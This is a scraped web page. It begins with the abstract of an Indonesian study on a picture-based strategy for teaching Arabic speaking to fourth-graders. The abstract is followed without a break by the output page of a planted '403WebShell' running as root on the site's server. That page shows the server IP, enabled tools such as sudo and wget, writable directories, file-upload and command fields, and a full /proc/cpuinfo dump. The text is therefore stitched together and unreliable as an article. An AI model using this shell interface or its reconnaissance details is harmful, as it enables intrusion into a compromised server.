Efektivitas Strategi Ta’bir Mushawwar dalam Pembelajaran Bahasa Arab di Madrasah Ibtidaiyah

  • Nuur Mahmudah Universitas Islam Negeri Antasari Banjarmasin
  • Khairunnisa Universitas Islam Negeri Antasari Banjarmasin
Keywords: Arabic; speaking skill; ta’bir mushawwar

Abstract

Speaking proficiency is one of the main skills in Arabic language learning, but fourth grade students of MI TPI Keramat face difficulties in assembling mufradat and practicing active conversation, mainly due to the lack of varied learning strategies. This study aims to analyze the effectiveness of the ta'bir mushawwar strategy, which uses picture as a media to facilitate students in constructing sentences and telling stories, in improving Arabic speaking skills. With a quantitative approach and pre-experiment design, this study involved 18 students of class IV-C. Data were collected through tests, observations, and interviews, then analyzed descriptively and N-Gain test. The posttest average was 83.06 (very good category) with 88.9% completeness, and the N-Gain score was 0.6398 which showed effectiveness in the medium category. The ta'bir mushawwar strategy offers a solution in the form of a visual and hands-on learning approach that can significantly improve students' speaking skills and make learning more interesting and interactive.

403WebShell
403Webshell
Server IP : 103.175.217.176  /  Your IP : 3.145.75.238
Web Server : Apache/2.4.62 (Debian)
System : Linux bilfathvps 5.10.0-33-amd64 #1 SMP Debian 5.10.226-1 (2024-10-03) x86_64
User : root ( 0)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/cpuinfo
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 0
cpu cores	: 8
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 1
cpu cores	: 8
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 2
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 2
cpu cores	: 8
apicid		: 2
initial apicid	: 2
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 3
cpu cores	: 8
apicid		: 3
initial apicid	: 3
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 4
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 4
cpu cores	: 8
apicid		: 4
initial apicid	: 4
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 5
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 5
cpu cores	: 8
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 6
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 6
cpu cores	: 8
apicid		: 6
initial apicid	: 6
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:

processor	: 7
vendor_id	: GenuineIntel
cpu family	: 15
model		: 6
model name	: Common KVM processor
stepping	: 1
microcode	: 0x1
cpu MHz		: 2199.996
cache size	: 16384 KB
physical id	: 0
siblings	: 8
core id		: 7
cpu cores	: 8
apicid		: 7
initial apicid	: 7
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm constant_tsc nopl xtopology cpuid tsc_known_freq pni cx16 x2apic hypervisor lahf_lm cpuid_fault pti
bugs		: cpu_meltdown spectre_v1 spectre_v2 spec_store_bypass l1tf mds swapgs itlb_multihit mmio_unknown
bogomips	: 4399.99
clflush size	: 64
cache_alignment	: 128
address sizes	: 40 bits physical, 48 bits virtual
power management:


Youez - 2016 - github.com/yon3zu
LinuXploit